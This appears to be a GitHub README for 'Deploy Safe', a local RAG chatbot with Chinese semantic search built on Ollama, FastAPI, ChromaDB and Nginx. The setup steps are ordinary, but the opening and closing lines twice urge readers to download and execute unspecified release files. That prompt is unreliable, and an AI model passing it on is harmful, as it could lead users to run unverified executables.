duribeiro04

Deploy Safe: Local RAG System with Chinese Semantic Search 🚀

Table of Contents

• Overview
• Features
• Installation
• Usage
• Architecture
• Technologies Used
• Contributing
• License
• Contact

Overview

Deploy Safe is a local RAG (Retrieval-Augmented Generation) system that integrates advanced Chinese semantic search capabilities. It leverages the Ollama-based LLM (Large Language Model) to provide a powerful chatbot experience. The system runs on Nginx for hosting and utilizes DuckDNS for easy access.

For the latest release, please visit here to download and execute the necessary files.

Features

• Local Deployment: Run the system on your local machine without relying on external servers.
• Chinese Semantic Search: Efficiently handle queries in Chinese, enhancing user experience.
• Ollama LLM: Utilize state-of-the-art language processing for accurate responses.
• Nginx Hosting: Secure and efficient web hosting for your application.
• DuckDNS Access: Simplified access through dynamic DNS.

Installation

Prerequisites

Before you begin, ensure you have the following installed:

• Python 3.7 or higher
• Node.js (version 14 or higher)
• Docker (optional for containerized deployment)

Steps

1. Clone the Repository:

   git clone https://github.com/duribeiro04/deploy-safe.git
   cd deploy-safe
   

2. Set Up the Environment:

   Create a virtual environment and activate it:

   python -m venv venv
   source venv/bin/activate  # On Windows use `venv\Scripts\activate`
   

3. Install Dependencies:

   Install the required Python packages:

   pip install -r requirements.txt
   

   For the frontend, navigate to the frontend directory and install the necessary packages:

   cd frontend
   npm install
   

4. Configure Nginx:

   Set up Nginx to serve your application. Create a configuration file in /etc/nginx/sites-available/deploy-safe:

   server {
       listen 80;
       server_name your_domain_or_IP;
   
       location / {
           proxy_pass http://localhost:8000;  # Update with your backend URL
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
           proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
           proxy_set_header X-Forwarded-Proto $scheme;
       }
   }
   

   Enable the configuration and restart Nginx:

   sudo ln -s /etc/nginx/sites-available/deploy-safe /etc/nginx/sites-enabled/
   sudo systemctl restart nginx
   

5. Run the Application:

   Start the backend server:

   uvicorn main:app --host 0.0.0.0 --port 8000
   

   For the frontend, navigate back to the frontend directory and run:

   npm run dev
   

Usage

Once the application is running, you can access it through your browser at http://your_domain_or_IP. The chatbot interface will allow you to enter queries in Chinese, and you will receive responses powered by the Ollama LLM.

Example Queries

• 你好，今天的天气怎么样？
• 请告诉我关于机器学习的基本概念。

The system will utilize its semantic search capabilities to provide relevant information and engage in meaningful conversations.

Architecture

Deploy Safe is designed with a modular architecture. Here’s a brief overview:

• Frontend: Built with React and Vite for a fast and responsive user interface.
• Backend: FastAPI serves as the backbone, handling API requests and integrating with the Ollama LLM.
• Database: ChromaDB is used for storing and retrieving information efficiently.
• Web Server: Nginx acts as a reverse proxy, ensuring secure access and load balancing.

Technologies Used

• Chatbot: Provides interactive communication.
• ChromaDB: Manages data storage and retrieval.
• DuckDNS: Offers dynamic DNS for easy access.
• FastAPI: Framework for building APIs quickly and efficiently.
• Langchain: Facilitates the integration of LLMs into applications.
• Local LLM: Ollama-based model for language processing.
• Nginx: Web server for hosting applications.
• React: Frontend library for building user interfaces.
• Vite: Build tool that optimizes the frontend experience.

Contributing

We welcome contributions to Deploy Safe. If you want to contribute, please follow these steps:

1. Fork the repository.
2. Create a new branch (git checkout -b feature/YourFeature).
3. Make your changes and commit them (git commit -m 'Add new feature').
4. Push to the branch (git push origin feature/YourFeature).
5. Open a pull request.

Please ensure your code adheres to the project’s coding standards and includes appropriate tests.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or support, please reach out:

• GitHub: duribeiro04
• Email: your-email@example.com

For the latest release, visit here to download and execute the necessary files.